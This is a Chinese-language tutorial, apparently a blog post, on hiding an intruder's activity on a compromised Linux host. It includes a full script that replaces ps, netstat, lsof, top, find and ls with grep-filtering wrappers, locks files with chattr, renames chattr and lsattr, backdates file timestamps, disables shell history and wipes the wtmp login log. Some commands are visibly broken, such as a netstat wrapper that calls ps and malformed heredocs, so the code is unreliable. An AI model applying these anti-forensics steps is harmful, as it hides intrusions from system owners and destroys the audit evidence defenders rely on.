在内网渗透时,有时需要将工具放在目标机进程执行,但这里就需要考虑隐蔽性的问题。下面所讲的不是什么高大上的技术,只是一些常用的技巧。

进程隐匿

netstat 伪装

首先,包装下 netstat 命令,ps 路径为: /usr/bin/netstat

之后,创建 /usr/local/bin/netstat 文件,写入内容:

#!/bin/bash

/usr/bin/ps $@ | grep -Ev ‘name|address|port’

最后,赋予执行权限 chmod +x /usr/local/bin/netstat

执行 which netstat 看下命令变化:

netstat 命令修改前后的对比:

当我们自己使用时,直接用 /bin/netstat 就 OK 了。

文件隐匿

首先,看下 Linux chattr 命令,用于改变文件属性。这项指令可改变存放在ext2文件系统上的文件或目录属性,这些属性共有以下8种模式:

a:让文件或目录仅供附加用途

b:不更新文件或目录的最后存取时间

c:将文件或目录压缩后存放

d:将文件或目录排除在倾倒操作之外

i:不得任意更动文件或目录

s:保密性删除文件或目录

S:即时更新文件或目录

u:预防意外删除

实战中常用的为 +a (只能追加,不能删除) 与 +i (不能更改) :

这里,还需要将 chattr 与 lsattr 命令进程隐藏:

mv /usr/bin/chattr /usr/bin/cht

mv /usr/bin/lsattr /usr/bin/lst

文件时间修改

touch -acmr /bin/ls /usr/bin/cht ( 修改 后一个文件时间 与 前一个文件时间 一致)

参数

-a:改变访问时间为当前时间

-m:改变修改时间为当前时间

-c:文件不存在不新建文件

-r:使用参考文件的时间

-d:设置为指定时间

-t:设置档案的时间记录

附: sh脚本

#!/bin/bash

history

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

ps

touch /usr/local/bin/ps

cat <> /usr/local/bin/ps

#!/bin/bash

/bin/ps $@ | grep -Ev ‘name|address|port’

/usr/bin/ps $@ | grep -Ev ‘name|address|port’

EOF

chmod +x /usr/local/bin/ps && touch -acmr /bin/ps /usr/local/bin/ps

netstat

touch /usr/local/bin/netstat

cat <> /usr/local/bin/netstat

#!/bin/bash

/bin/netstat $@ | grep -Ev ‘name|address|port’

/usr/bin/netstat $@ | grep -Ev ‘name|address|port’

EOF

chmod +x /usr/local/bin/netstat && touch -acmr /bin/netstat /usr/local/bin/netstat

lsof

touch /usr/local/bin/lsof

cat <> /usr/local/bin/lsof

#!/bin/bash

/bin/lsof $@ | grep -Ev ‘name|address|port’

/usr/bin/lsof $@ | grep -Ev ‘name|address|port’

EOF

chmod +x /usr/local/bin/lsof && touch -acmr /bin/lsof /usr/local/bin/lsof

top

touch /usr/local/bin/top

cat <> /usr/local/bin/top

#!/bin/bash

/bin/top $@ | grep -Ev ‘name|address|port’

/usr/bin/top $@ | grep -Ev ‘name|address|port’

EOF

chmod +x /usr/local/bin/top && touch -acmr /bin/top /usr/local/bin/lsof

find

touch /usr/local/bin/find

cat <> /usr/local/bin/find

#!/bin/bash

/bin/find $@ | grep -Ev ‘name|address|port’

/usr/bin/find $@ | grep -Ev ‘name|address|port’

EOF

chmod +x /usr/local/bin/find && touch -acmr /bin/find /usr/local/bin/lsof

ls

touch /usr/local/bin/ls

cat <> /usr/local/bin/ls

#!/bin/bash

/bin/ls $@ | grep -Ev ‘name|address|port’

/usr/bin/ls $@ | grep -Ev ‘name|address|port’

EOF

chmod +x /usr/local/bin/ls && touch -acmr /bin/ls /usr/local/bin/ls

chattr & lsattr

#!/bin/bash

mkdir /tmp/.tmp/

chattr +a /tmp/.tmp/

chattr +a /root/.ssh/

mv /usr/bin/chattr /usr/bin/cht

mv /usr/bin/lsattr /usr/bin/lst

last

echo “” > /var/log/wtmp

修改命令变量后,重启终端生效,执行后记得删除sh脚本 !